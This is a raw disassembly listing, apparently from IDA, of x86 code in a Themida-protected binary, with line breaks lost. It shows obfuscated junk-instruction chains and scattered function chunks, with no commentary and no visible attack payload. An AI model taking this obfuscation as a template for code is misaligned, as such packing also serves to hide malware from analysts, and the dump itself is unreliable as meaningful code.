mov ecx, [esp+56h+var_58+2] add esp, 4 sub ebx, 360F7678h sub ebx, eax add ebx, 360F7678h push eax mov eax, 56447FA9h jmp loc_5541C1 ; --------------------------------------------------------------------------- loc_555CED: ; CODE XREF: sub_559C84+436Dj pop eax mov ebx, [esp+52h+var_52] jmp loc_55F0B5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555CF6 proc near ; DATA XREF: Themida_:0055343Co var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F816 SIZE 0000001D BYTES mov ax, [esp+0] jmp loc_55F816 sub_555CF6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555CFF: ; CODE XREF: sub_559C84+25EBj mov [esp+52h+var_52], eax jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_555D07 proc near ; DATA XREF: Themida_:00553468o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005586E7 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055DC42 SIZE 0000001C BYTES mov cx, [esp+0] push ebp mov ebp, esp sub esp, 4 jmp loc_55DC42 sub_555D07 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555D19: ; CODE XREF: sub_559C84-11E2j pop edx jmp loc_555E4D ; --------------------------------------------------------------------------- loc_555D1F: ; CODE XREF: sub_559C84-D29j shl ebx, 8 push ecx mov ecx, 5D16BB04h jmp loc_55D185 ; --------------------------------------------------------------------------- loc_555D2D: ; CODE XREF: sub_559C84-2036j mov dl, 0DFh sub cl, dl jmp loc_55352D ; --------------------------------------------------------------------------- loc_555D36: ; CODE XREF: sub_559C84+764j mov ecx, [esp+52h+var_52] jmp loc_554102 ; --------------------------------------------------------------------------- loc_555D3E: ; CODE XREF: sub_559C84-633j mov dx, word ptr [esp+52h+var_52] sub esp, 4 mov [esp+56h+var_58+2], esi mov esi, esp sub esp, 4 jmp loc_55B5E9 ; --------------------------------------------------------------------------- loc_555D55: ; CODE XREF: sub_559C84-3798j mov [esp+5Ah+var_5C+2], edx not [esp+5Ah+var_5C+2] pop edx xchg edx, [esp+56h+var_58+2] mov eax, [esp+56h+var_58+2] add esp, 4 push 3B7Ah mov [esp+56h+var_58+2], ebp push 56ACh mov [esp+5Ah+var_5C+2], edx push 7EE7h mov [esp+5Eh+var_60+2], ecx push 625604DFh pop ecx jmp loc_55721C ; --------------------------------------------------------------------------- loc_555D8B: ; CODE XREF: sub_559C84+346Ej pop esp and ecx, ebp pop ebp shr ecx, 7 push dword ptr [edi+1Ch] sub esp, 4 mov [esp+5Eh+var_60+2], edi jmp loc_55AD4E ; --------------------------------------------------------------------------- loc_555DA3: ; CODE XREF: sub_559C84+2B19j sub edx, 2651AAFh add edx, edi push esi mov esi, 2651AAFh add edx, esi pop esi add dword ptr [edx], 1 pop edx loc_555DBB: ; CODE XREF: sub_559C84+53D6j sub esp, 4 mov [esp+5Eh+var_60+2], edi push ebx pop edi push edi push [esp+62h+var_64+2] push dword ptr [esp+0] pop eax jmp loc_558BE5 ; --------------------------------------------------------------------------- loc_555DD0: ; CODE XREF: sub_559C84+3Ej xor [esp+0], ebx xor ebx, [esp+0] pop esp shr eax, 0Eh xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx sub esp, 4 mov [esp+0], ebx xchg ebx, [esp+0] xchg edx, ebx not edx jmp loc_55DA6F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E26B loc_555DF4: ; CODE XREF: sub_55E26B+17j mov [esp+4+var_4], ebp mov ebp, esp jmp loc_5539AF ; END OF FUNCTION CHUNK FOR sub_55E26B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555DFE: ; CODE XREF: sub_559C84+43CBj shl esi, 4 add esi, 0ADCD18D5h mov edi, esi pop esi add [esp+62h+var_60+2], 18AC28D7h add [esp+62h+var_60+2], edi push 6726h mov [esp+0], ebx mov ebx, 18AC28D7h jmp loc_556672 ; --------------------------------------------------------------------------- loc_555E28: ; CODE XREF: sub_559C84-1FFEj push esp pop edx jmp loc_5559B2 ; --------------------------------------------------------------------------- loc_555E2F: ; CODE XREF: sub_559C84+FC6j push 947h mov [esp+6Ah+var_6A], eax mov eax, 1626E4CEh sub ebx, eax pop eax add eax, ebx pop ebx sub esp, 4 jmp loc_55F0AC ; --------------------------------------------------------------------------- loc_555E4D: ; CODE XREF: sub_559C84-3F6Aj xor ebx, esi pop esi add eax, 758C14E1h sub eax, ebx sub eax, 758C14E1h push [esp+4Ah+var_4A] pop ebx push ebx mov ebx, esp jmp loc_557433 ; --------------------------------------------------------------------------- loc_555E68: ; CODE XREF: sub_559C84+375Aj add ebp, eax jmp loc_55BDC6 ; --------------------------------------------------------------------------- loc_555E6F: ; CODE XREF: sub_559C84+4196j mov edx, 3BE3639Eh add [esp+4Eh+var_46], edx jmp loc_55A33C ; --------------------------------------------------------------------------- loc_555E7D: ; CODE XREF: sub_559C84+4777j pop edx pop ebx loc_555E7F: ; CODE XREF: sub_559C84-64ADj ; sub_559C84+5D13j push edi push 15E3h jmp loc_553AF4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555E8A: ; CODE XREF: Themida_:00553945j add ebp, 3D231DAEh sub ebp, edi sub ebp, 3D231DAEh pop edi xchg ebp, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push eax push edx mov edx, 4 jmp loc_55486C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555EB4: ; CODE XREF: sub_559C84-F61j sub esi, ebx mov ebx, esi pop esi shl ebx, 6 jmp loc_55C9AF ; --------------------------------------------------------------------------- loc_555EC1: ; CODE XREF: sub_559C84+23DAj add eax, 46FB2370h push ecx mov ecx, 0D8F6B94h add eax, ecx mov ecx, [esp+4Eh+var_4E] add esp, 4 add edi, 7462911h add edi, eax jmp loc_55B3FD ; --------------------------------------------------------------------------- loc_555EE4: ; CODE XREF: sub_559C84+CD5j push esi push edi jmp loc_55D683 ; --------------------------------------------------------------------------- loc_555EEB: ; CODE XREF: sub_559C84-980j push ecx mov ecx, esp jmp loc_559024 ; --------------------------------------------------------------------------- loc_555EF3: ; CODE XREF: sub_559C84+5EAFj push esi push [esp+5Ah+var_58+2] pop esi pop [esp+5Ah+var_5C+2] pop esp imul cl movzx cx, ah jmp sub_55F275 ; --------------------------------------------------------------------------- loc_555F08: ; CODE XREF: sub_559C84+449j sub eax, 4 xchg eax, [esp+52h+var_52] pop esp mov [esp+4Eh+var_4E], esi push esp mov esi, [esp+52h+var_52] add esp, 4 add esi, 4 push ecx mov ecx, 4 add esi, 7E141F85h sub esi, ecx sub esi, 7E141F85h pop ecx jmp loc_558741 ; --------------------------------------------------------------------------- loc_555F3B: ; CODE XREF: sub_559C84+5866j and cl, bh jmp loc_554C4B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555F42: ; CODE XREF: Themida_:00556A65j pop eax push small 1F1Dh mov [esp], ax mov al, 57h add dl, al pop ax add al, 49h add al, 0F3h add al, dl sub al, 0F3h sub al, 49h push dword ptr [esp] pop edx add esp, 4 push small 4536h mov [esp], cx sub esp, 4 mov [esp], edx mov dh, 71h and dh, 58h jmp loc_55F982 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555F7D: ; CODE XREF: sub_559C84-790j mov ah, bh jmp loc_557F92 ; --------------------------------------------------------------------------- loc_555F84: ; CODE XREF: sub_559C84+3929j pop eax xchg edx, [esp+4Ah+var_4A] pop esp mov [esp+46h+var_46], edx push eax pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555F93: ; CODE XREF: Themida_:00556787j sub edi, ecx pop ecx pop eax sub ebp, edi push dword ptr [esp] pop edi add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555FB1: ; CODE XREF: sub_559C84+1C8Fj mov edx, 4A742D30h jmp loc_55B199 ; --------------------------------------------------------------------------- loc_555FBB: ; CODE XREF: sub_559C84+CDBj add bx, 64E5h jmp loc_557327 ; --------------------------------------------------------------------------- loc_555FC5: ; CODE XREF: sub_559C84-5EDFj add eax, 0CF61B551h add eax, 170E01C6h add eax, 45C56F68h add eax, ebx jmp loc_558213 ; --------------------------------------------------------------------------- loc_555FDB: ; CODE XREF: sub_559C84-2F50j pop esp mul cx push small 6C45h mov word ptr [esp+12h+var_14+2], dx jmp loc_55971C ; --------------------------------------------------------------------------- loc_555FEC: ; CODE XREF: sub_559C84-4FDEj push cx pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_555FF4: ; CODE XREF: sub_559C84+542j xchg ebp, [esp+5Ch+var_5C] pop esp jmp loc_55B047 ; --------------------------------------------------------------------------- loc_555FFD: ; CODE XREF: sub_559C84-4C5Dj xor ebx, edi pop edi add ecx, ebx jmp loc_55930F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556007: ; DATA XREF: Themida_:00553450o push dword ptr [esp] push dword ptr [esp] jmp loc_55A9F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556012: ; CODE XREF: sub_559C84+5F4Bj pop eax add dword ptr [ebx], 1 jmp loc_55D1A7 ; --------------------------------------------------------------------------- loc_55601E: ; CODE XREF: sub_559C84+1649j xor eax, [esp+46h+var_46] pop esp jmp loc_5580BD ; --------------------------------------------------------------------------- loc_556027: ; CODE XREF: sub_559C84+5FB7j pop esp mov [esp+3Eh+var_3E], edx mov edx, 0 jmp loc_555283 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556035: ; CODE XREF: Themida_:00554A3Cj sub dl, 15h mov ch, dl jmp loc_558ED4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55603F: ; CODE XREF: sub_559C84-5A3j or esi, 22976951h shl esi, 1 sub esi, 16829109h add esi, 39495D52h sub esi, ebp sub esi, 39495D52h pop ebp and eax, esi mov esi, [esp+3Ah+var_3A] add esp, 4 or edx, eax jmp loc_55C6DE ; --------------------------------------------------------------------------- loc_55606B: ; CODE XREF: sub_559C84+1CAAj pop edx add edi, ebp mov ebp, [esp+32h+var_34+2] add esp, 4 push 6F16h mov [esp+32h+var_34+2], edx mov edx, 2 add edi, edx pop edx xor edi, [esp+2Eh+var_30+2] xor [esp+2Eh+var_30+2], edi xor edi, [esp+2Eh+var_30+2] mov esp, [esp+2Eh+var_30+2] xor word ptr [esp+2Eh+var_30+2], ax pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_554E82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5560A5: ; CODE XREF: sub_559C84-5E7Dj sub ebx, 6187065Ah jmp loc_559A69 ; --------------------------------------------------------------------------- loc_5560B0: ; CODE XREF: sub_559C84+1C7Ej jmp loc_55351F ; --------------------------------------------------------------------------- loc_5560B5: ; CODE XREF: sub_559C84-4657j mov [esp+48h+var_4A+2], eax mov al, 0D2h shr al, 7 sub al, 63h push cx mov ch, 73h add al, 57h add al, ch sub al, 57h pop cx sub bl, al pop eax sub bl, 0EDh sub bl, al add bl, 0EDh jmp loc_557566 ; --------------------------------------------------------------------------- loc_5560DB: ; CODE XREF: sub_559C84+4988j add [esp+44h+var_46+2], 1E9172D0h jmp loc_553AEE ; --------------------------------------------------------------------------- loc_5560E7: ; CODE XREF: sub_559C84-DB5j pop esi xchg eax, [esp+40h+var_42+2] pop esp mov [esp+3Ch+var_3E+2], eax mov eax, esp add eax, 4 add eax, 2 push eax jmp loc_55F1F0 ; --------------------------------------------------------------------------- loc_556101: ; CODE XREF: sub_559C84+412Dj pop eax add esp, 4 loc_556108: ; CODE XREF: sub_559C84+31BDj ; sub_559C84+5D50j push dword ptr [edi+24h] push [esp+3Ch+var_3E+2] pop ecx push 42Eh jmp loc_55C70A ; --------------------------------------------------------------------------- loc_556119: ; CODE XREF: sub_559C84+1CBFj mov esi, esp jmp loc_55A4B9 ; --------------------------------------------------------------------------- loc_556120: ; CODE XREF: sub_559C84+E1Ej add ebp, edi jmp loc_5562B1 ; --------------------------------------------------------------------------- loc_556127: ; CODE XREF: sub_559C84+40BBj mov esi, [esp+40h+var_42+2] jmp loc_557A06 ; --------------------------------------------------------------------------- loc_55612F: ; CODE XREF: sub_559C84-3392j mov bl, 33h or bl, 0C4h not bl add bl, 0B7h jmp loc_55FA6A ; --------------------------------------------------------------------------- loc_55613E: ; CODE XREF: sub_559C84+465Fj mov ebx, 1C8D5862h xor ebx, 1C8DD862h and eax, ebx jmp loc_553B24 ; --------------------------------------------------------------------------- loc_556150: ; CODE XREF: sub_559C84+1468j add esp, 4 push ebp mov ebp, 2 jmp loc_5587E1 ; --------------------------------------------------------------------------- loc_556161: ; CODE XREF: sub_559C84+4623j xor ebx, 0F4BAAD76h add esi, ebx jmp loc_554616 ; --------------------------------------------------------------------------- loc_55616E: ; CODE XREF: sub_559C84-1B78j sub al, 4Ch mov ecx, [esp+40h+var_42+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+44h+var_46+2] jmp loc_55A8F1 ; --------------------------------------------------------------------------- loc_556188: ; CODE XREF: sub_559C84-3111j add ecx, edi jmp loc_55ACC9 ; --------------------------------------------------------------------------- loc_55618F: ; CODE XREF: sub_559C84+85Fj add esp, 4 add ebx, 4 push esi mov esi, esp jmp loc_55E8A6 ; --------------------------------------------------------------------------- loc_5561A0: ; CODE XREF: sub_559C84+13EDj mov ecx, ebx jmp loc_556A31 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F9FD loc_5561A7: ; CODE XREF: sub_55F9FD+1Bj pop eax add esp, 4 add bl, dh mov dx, word ptr [esp-8+arg_4] jmp loc_55782D ; END OF FUNCTION CHUNK FOR sub_55F9FD ; =============== S U B R O U T I N E ======================================= sub_5561B6 proc near ; DATA XREF: Themida_:00553494o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005568A6 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00556CBD SIZE 00000046 BYTES ; FUNCTION CHUNK AT 005587A0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055E7A9 SIZE 0000000F BYTES mov eax, [esp+0] push ebp push esp mov ebp, [esp+8+var_8] add esp, 4 add ebp, 4 push edi jmp loc_556CBD sub_5561B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5561CD: ; CODE XREF: sub_559C84-1976j mov esi, 4 add ecx, 3AC4784Eh add ecx, esi sub ecx, 3AC4784Eh pop esi add ecx, 4 jmp loc_55A0E2 ; --------------------------------------------------------------------------- loc_5561EC: ; CODE XREF: sub_559C84-59ECj add ecx, ebp pop ebp add ecx, 2 xchg ecx, [esp-18h+arg_14] pop esp mov ax, word ptr [esp-1Ch+arg_18] push ebx push 11CDh jmp loc_55BD13 ; --------------------------------------------------------------------------- loc_556208: ; CODE XREF: sub_559C84+443j push [esp-14h+arg_14] mov ebx, [esp-10h+arg_C] jmp loc_55D204 ; --------------------------------------------------------------------------- loc_556214: ; CODE XREF: sub_559C84-610Ej add al, 2Eh mov ebx, [esp+32h+var_34+2] add esp, 4 push ebp mov ebp, esp jmp loc_55EB50 ; --------------------------------------------------------------------------- loc_556224: ; CODE XREF: sub_559C84+3193j push edi mov edi, 1 mov eax, edi pop edi push 1E3Dh jmp loc_55436A ; --------------------------------------------------------------------------- loc_556237: ; CODE XREF: sub_559C84-18B5j add esp, 4 jmp loc_55F336 ; --------------------------------------------------------------------------- loc_556242: ; CODE XREF: sub_559C84-4316j add bl, dl pop edx jmp loc_5562A6 ; --------------------------------------------------------------------------- loc_55624A: ; CODE XREF: sub_559C84+361Ej xor ebp, ecx mov ecx, [esp+30h+var_30] jmp loc_55D693 ; --------------------------------------------------------------------------- loc_556254: ; CODE XREF: sub_559C84-2E43j sub ebp, 4 xchg ebp, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], ecx mov cl, 24h sub cl, 84h add dl, 68h sub dl, cl push ecx mov cl, 0C9h or cl, 0F3h dec cl inc cl jmp loc_55AA7A ; --------------------------------------------------------------------------- loc_556277: ; CODE XREF: sub_559C84+1C65j not ecx jmp loc_559BC2 ; --------------------------------------------------------------------------- loc_55627E: ; CODE XREF: sub_559C84+18Aj mov ecx, [esp+30h+var_30] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+34h+var_34] pop esp push edx push [esp+34h+var_30] pop edx pop [esp+34h+var_34] mov esp, [esp+30h+var_30] mov word ptr [esp+30h+var_30], cx jmp loc_55351F ; --------------------------------------------------------------------------- loc_5562A6: ; CODE XREF: sub_559C84-3A3Fj sub bl, dl sub bl, 59h push eax jmp loc_55664B ; --------------------------------------------------------------------------- loc_5562B1: ; CODE XREF: sub_559C84-3B62j pop edi xor ebp, [esp+3Ch+var_3E+2] xor [esp+3Ch+var_3E+2], ebp xor ebp, [esp+3Ch+var_3E+2] jmp loc_558F27 ; --------------------------------------------------------------------------- loc_5562C0: ; CODE XREF: sub_559C84+4346j mov ebp, 76742180h jmp loc_55803C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_5562CA: ; CODE XREF: sub_557976-62Aj mov dl, 34h dec dl jmp loc_55433C ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5562D3: ; CODE XREF: sub_559C84-170Dj add ch, 0ECh jmp loc_553FA7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5562DB: ; CODE XREF: Themida_:00558B8Fj push ebx mov ebx, 6B2C40E6h jmp loc_55C90B ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 5Fh add edi, 4 push esi mov esi, 2 add edi, esi mov esi, [esp] add esp, 4 push edi push dword ptr [esp+4] mov edi, [esp] push ebp mov ebp, esp jmp loc_55968E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556312: ; CODE XREF: sub_559C84-515Cj xor edx, [esp+46h+var_46] mov esp, [esp+46h+var_46] jmp loc_55DC22 ; --------------------------------------------------------------------------- loc_55631D: ; CODE XREF: sub_559C84+437Dj pop ecx sub dl, ch add dl, 22h pop cx jmp loc_55C7D0 ; --------------------------------------------------------------------------- loc_55632A: ; CODE XREF: sub_559C84-5211j add dl, 80h jmp loc_559713 ; --------------------------------------------------------------------------- loc_556332: ; CODE XREF: sub_559C84+1657j add esi, edx sub esi, 0B6613E3h mov edx, [esp+4Eh+var_4E] push edx jmp loc_55DA62 ; --------------------------------------------------------------------------- loc_556343: ; CODE XREF: sub_559C84+235j sub ebp, ecx pop ecx jmp loc_558884 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55634B: ; CODE XREF: sub_555BE3-128Dj add dword ptr [esp+0], 4 jmp loc_55ECCC ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556357: ; CODE XREF: sub_559C84+1A53j push 15B0h mov [esp+52h+var_52], edx mov dl, 35h shl dl, 7 dec dl not dl push ebp jmp loc_556AA4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F9FD loc_55636E: ; CODE XREF: sub_55F9FD-499j mov edi, 6BE6677Bh or edi, 713E43B2h shl edi, 2 sub edi, 0EFF99FE8h add esi, 5DDC071Ch add esi, edi push edx jmp loc_558C95 ; END OF FUNCTION CHUNK FOR sub_55F9FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556390: ; CODE XREF: sub_559C84+4BA4j neg ecx not ecx sub ecx, 3B9F2B67h jmp loc_55C0C5 ; --------------------------------------------------------------------------- loc_55639F: ; CODE XREF: sub_559C84+5BB9j shr edx, 7 sub edx, 0E7B05BFDh xor ecx, edx pop edx and ecx, 50D93FB4h xor ecx, 10D12884h add edi, ecx mov ecx, [esp+52h+var_52] jmp loc_55BD9E ; --------------------------------------------------------------------------- loc_5563C1: ; CODE XREF: sub_559C84+30BEj mov ah, 8 add ah, dh pop edx push edx mov dh, ah push eax mov al, dh mov ch, al jmp loc_555583 ; --------------------------------------------------------------------------- loc_5563D3: ; CODE XREF: sub_559C84-C7j or eax, eax jz loc_55A441 sub esp, 4 mov [esp+5Ah+var_5C+2], esi push ebx pop esi push 347Bh mov [esp+5Eh+var_60+2], esi push [esp+5Eh+var_60+2] pop eax jmp sub_55DBF3 ; --------------------------------------------------------------------------- loc_5563F4: ; CODE XREF: sub_559C84+2468j mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp+5Eh+var_60+2] pop esp sub esp, 4 jmp loc_558EEB ; --------------------------------------------------------------------------- loc_55640E: ; CODE XREF: sub_559C84+2D83j mov ebx, esp add ebx, 4 jmp loc_557FD6 ; --------------------------------------------------------------------------- loc_55641B: ; CODE XREF: sub_559C84-5599j shr ebx, 5 xor ebx, 40EC4590h jmp sub_55F86E ; --------------------------------------------------------------------------- loc_556429: ; CODE XREF: sub_559C84-6574j shr edi, 6 shr edi, 5 push ecx mov ecx, 27820661h or edi, ecx jmp loc_5536D8 ; --------------------------------------------------------------------------- loc_55643C: ; CODE XREF: sub_559C84-4939j push cx mov cl, 59h jmp loc_553C7D ; --------------------------------------------------------------------------- loc_556445: ; CODE XREF: sub_559C84-11D8j sub esi, edx mov edx, [esp+52h+var_52] add esp, 4 add eax, esi pop esi push esi push edi push 27CA3AD2h pop edi sub edi, 27CA3AD0h mov esi, edi jmp loc_55EA52 ; --------------------------------------------------------------------------- loc_556468: ; CODE XREF: sub_559C84-15C7j and edx, 53331291h xor edx, 4E76536Ah sub esi, edx pop edx add esi, ebp add esi, 0F5443FBh push [esp+4Eh+var_4E] mov ebp, [esp+52h+var_52] jmp loc_55A89A ; --------------------------------------------------------------------------- loc_55648A: ; CODE XREF: sub_559C84-EC8j sub edx, 5F071E8Ch pop eax mov ebx, [esp+4Eh+var_4E] jmp loc_55A929 ; --------------------------------------------------------------------------- loc_556499: ; CODE XREF: sub_559C84+4Cj add ebp, edx pop edx jmp loc_557CC0 ; --------------------------------------------------------------------------- loc_5564A1: ; CODE XREF: sub_559C84+1833j mov edi, 1 sub ebx, edi pop edi jmp loc_55DDF6 ; --------------------------------------------------------------------------- loc_5564AE: ; CODE XREF: sub_559C84-1756j xchg edi, [esp+46h+var_46] pop esp xor ecx, esi pop esi rep movsd add esp, [edx+38h] jmp loc_5578ED ; --------------------------------------------------------------------------- loc_5564BF: ; CODE XREF: sub_559C84+5507j push edx jmp loc_553CF2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5564C5: ; DATA XREF: Themida_:00553358o push dword ptr [esp] pop ecx push ecx push esp pop ecx add ecx, 4 jmp loc_5599D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5564D7: ; CODE XREF: sub_559C84+4712j add edx, 21070AF6h sub edx, ebp sub edx, 21070AF6h pop ebp jmp loc_55351F ; --------------------------------------------------------------------------- loc_5564EB: ; CODE XREF: sub_559C84+5C30j pop esp jmp loc_555D55 ; --------------------------------------------------------------------------- loc_5564F1: ; CODE XREF: sub_559C84-26A3j mov edx, [esp+3Ah+var_3A] add esp, 4 push eax mov eax, 4 add edx, eax pop eax sub edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_55E1BA ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_556511: ; CODE XREF: Themida_:00553858j mov ebx, [esp] jmp loc_55EF5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556519: ; CODE XREF: sub_559C84-45DEj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+50h+var_52+2] jmp loc_55CF0C ; --------------------------------------------------------------------------- loc_55652D: ; CODE XREF: sub_559C84+1774j add ecx, 4 jmp loc_55DAE9 ; --------------------------------------------------------------------------- loc_556535: ; CODE XREF: sub_559C84+C87j or ebx, 3F5B3555h add ebx, 995E0893h jmp loc_55C5D2 ; --------------------------------------------------------------------------- loc_556546: ; CODE XREF: sub_559C84+2E0Bj mov ebx, [esp+50h+var_52+2] jmp loc_5535C5 ; --------------------------------------------------------------------------- loc_55654E: ; CODE XREF: sub_559C84+20A5j mov ebx, 142626D2h xor edi, ebx pop ebx jmp loc_5553DB ; --------------------------------------------------------------------------- loc_55655B: ; CODE XREF: sub_559C84+3AB8j add edi, 274C6E9Ah pop eax add edi, 4 jmp loc_55CE39 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55656A: ; CODE XREF: Themida_:0055686Bj xor eax, ecx jmp loc_558111 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556571: ; CODE XREF: sub_559C84+F19j add eax, 62422035h add eax, edi push edx mov edx, 2AB244FFh xor edx, 48F064CAh sub eax, edx pop edx mov edi, [esp+48h+var_4A+2] jmp loc_55DDB6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5589C1 loc_55658F: ; CODE XREF: sub_5589C1+18j mov [esp+4+var_4], ebp push edx jmp loc_553973 ; END OF FUNCTION CHUNK FOR sub_5589C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556598: ; CODE XREF: sub_559C84+2DEDj mov eax, 4 add esi, eax pop eax xchg esi, [esp+44h+var_46+2] jmp loc_55A2BE ; --------------------------------------------------------------------------- loc_5565A8: ; CODE XREF: sub_559C84-670j pop esi inc esi and esi, 53066B35h add esi, 68AAD776h mov ebp, esi pop esi sub eax, ebp mov ebp, [esp+3Ch+var_3E+2] add esp, 4 add eax, 1 sub eax, 102755D7h mov ebx, eax pop eax sub edi, ebx mov ebx, [esp+34h+var_34] jmp loc_554452 ; --------------------------------------------------------------------------- loc_5565D8: ; CODE XREF: sub_559C84-1D7Cj pop esp mov [esp+30h+var_30], ecx push edi mov edi, 6A3A4D6Fh not edi push ebp mov ebp, 73D676BDh not ebp xor ebp, 10F97F00h xor ebp, 7E1627D0h jmp loc_55DE1F ; --------------------------------------------------------------------------- loc_5565FD: ; CODE XREF: sub_559C84-1308j xor esi, 4A977D1Ch sub esi, 782EB26h add esi, 1340B36h and eax, esi pop esi xor eax, 14C0404h add ebx, eax pop eax push edi mov edi, 2 add ebx, edi pop edi xor ebx, [esp+30h+var_30] xor [esp+30h+var_30], ebx xor ebx, [esp+30h+var_30] jmp loc_55CD95 ; --------------------------------------------------------------------------- loc_556631: ; CODE XREF: sub_559C84-4131j push ecx mov ecx, 36091B24h or esi, ecx pop ecx xor esi, 11DF162Ah jmp loc_55BF01 ; --------------------------------------------------------------------------- loc_556645: ; CODE XREF: sub_559C84+51AAj push esi jmp loc_556700 ; --------------------------------------------------------------------------- loc_55664B: ; CODE XREF: sub_559C84-39D8j push ecx jmp loc_5547DA ; --------------------------------------------------------------------------- loc_556651: ; CODE XREF: sub_559C84+4C92j pop edi not eax jmp loc_55DC0A ; --------------------------------------------------------------------------- loc_556659: ; CODE XREF: sub_559C84+5B5Cj mov esi, [esp+34h+var_34] add esp, 4 jmp loc_55F243 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5599A2 loc_55666C: ; CODE XREF: sub_5599A2-EB3j push ecx jmp loc_554BB7 ; END OF FUNCTION CHUNK FOR sub_5599A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_556672: ; CODE XREF: sub_559C84-3E61j add [esp+66h+var_60+2], 418750Eh sub [esp+66h+var_60+2], ebx jmp loc_55BD4C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553ADA loc_556683: ; CODE XREF: sub_553ADA+6j pop dword ptr [eax] pop eax jmp loc_559A39 ; END OF FUNCTION CHUNK FOR sub_553ADA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55668B: ; CODE XREF: sub_559C84-636Dj add ecx, edx add ecx, 2CE81FC1h pop edx sub esp, 4 mov [esp+50h+var_52+2], ebx mov ebx, 4D2E4D0Eh and ebx, 346F6553h neg ebx xor ebx, 1861382Dh inc ebx sub ebx, 0E3B082D2h add ecx, ebx pop ebx push ecx push [esp+50h+var_4E+2] pop ecx pop [esp+50h+var_52+2] jmp loc_55DEBF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- 